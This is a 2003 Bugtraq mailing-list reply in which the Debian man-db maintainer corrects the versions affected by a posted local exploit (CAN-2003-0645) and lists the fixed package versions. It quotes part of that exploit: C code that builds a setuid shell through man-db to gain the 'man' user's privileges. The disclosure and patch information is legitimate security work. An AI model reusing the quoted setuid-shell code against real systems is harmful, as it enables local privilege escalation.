[31078] in bugtraq
Re: man-db[v2.4.1-]: open_cat_stream() privileged call exploit.
daemon@ATHENA.MIT.EDU (Colin Watson)
Fri Aug 8 14:37:42 2003
From: Colin Watson <cjwatson@debian.org>
To: bugtraq@securityfocus.com
In-Reply-To: <20030806082358.2564.qmail@www.securityfocus.com>
Message-Id: <E19l4Kx-0005Hd-00@chiark.greenend.org.uk>
Date: Fri, 08 Aug 2003 11:19:07 +0100
In article <20030806082358.2564.qmail@www.securityfocus.com>, Vade 79 wrote:
># man-db[v2.4.1-]: local uid=man exploit.
Correction: 2.3.12 (a beta release) and 2.3.18 to 2.4.1.
>echo "[*] making runme, and mansh source files..."
>cat <<EOF>runme.c
>#include <stdio.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <sys/types.h>
>#include <sys/stat.h>
>int main(int argc,char **argv){
> setreuid(geteuid(),geteuid());
> system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
> chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
> unlink(argv[0]);
> exit(0);
>}
>EOF
>cat <<EOF>mansh.c
>#include <stdio.h>
>#include <sys/types.h>
>#include <unistd.h>
>int main(){
> setreuid(geteuid(),geteuid());
> execl("/bin/sh","sh",0);
> exit(0);
>}
>EOF
It can be done with a lot less effort and in about a tenth of the space
without resorting to compiled code, but I'll leave that as an exercise
for the reader ... :-)
Anyway, Debian man-db 2.3.20-18.woody.2 (stable) and 2.4.1-12 (unstable)
fix this. I'm working to release 2.4.2 as well. This is CAN-2003-0645.
--
Colin Watson [cjwatson@debian.org]
